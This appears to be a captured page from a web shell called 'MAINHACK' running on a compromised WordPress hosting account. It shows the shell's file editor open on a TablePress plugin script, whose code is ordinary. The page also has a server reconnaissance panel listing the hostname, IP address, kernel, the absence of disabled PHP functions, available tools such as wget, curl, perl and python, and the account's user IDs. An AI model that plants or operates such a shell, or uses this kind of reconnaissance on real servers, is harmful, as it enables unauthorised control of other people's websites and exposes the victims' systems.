[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: list.js
/** * JavaScript code for the "List Tables" screen * * @package TablePress * @subpackage Views JavaScript * @author Tobias Bäthge * @since 1.0.0 */ /** * WordPress dependencies. */ import { _n } from '@wordpress/i18n'; /** * Internal dependencies. */ import { $ } from './common/functions'; import { initializeReactComponent } from './common/react-loader'; import Screen from './list/screen'; /** * Process links with an "ajax-link" class with AJAX. * * @since 1.0.0 */ document.querySelectorAll( '#tablepress-page .ajax-link' ).forEach( ( link ) => { link.addEventListener( 'click', ( event ) => { fetch( `${ ajaxurl }?${ event.target.href.split( '?' )[1] }` ) // Append original link's query string to AJAX endpoint. .then( ( response ) => response.text() ) .then( ( result ) => { if ( '1' !== result ) { return; } if ( 'hide_message' === event.target.dataset.action ) { // Remove original message. event.target.closest( '.notice' ).remove(); } } ); event.preventDefault(); } ); } ); /** * Submit Bulk Actions only if an action was selected and at least one table was selected. * * Only the top button and the top bulk selector dropdown have to be evaluated, as WP mirrors them. * * @since 1.0.0 */ const bulk_action_dropdown = $( '#doaction' ); // The bulk action dropdown is only in the DOM if at least one table is shown in the list, thus an existence check is needed. if ( bulk_action_dropdown ) { bulk_action_dropdown.addEventListener( 'click', ( event ) => { const action = $( '#bulk-action-selector-top' ).value; const num_selected = $( '.tablepress-all-tables tbody input:checked' ).length; // Do nothing if no action or no tables were selected. if ( '-1' === action || 0 === num_selected ) { event.preventDefault(); return; } // Show AYS prompt when deleting tables. if ( 'delete' === action ) { if ( ! confirm( _n( 'Do you really want to delete this table?', 'Do you really want to delete these tables?', num_selected, 'tablepress' ) ) ) { event.preventDefault(); return; } } } ); } initializeReactComponent( 'tablepress-list-screen', <Screen />, );
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium171.web-hosting.com
Server IP: 162.0.209.115
PHP Version: 8.0.30
Server Software: LiteSpeed
System: Linux premium171.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 71.32 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: aircyknj
User ID (UID): 2056
Group ID (GID): 2052
Script Owner UID: 2056
Current Dir Owner: 2056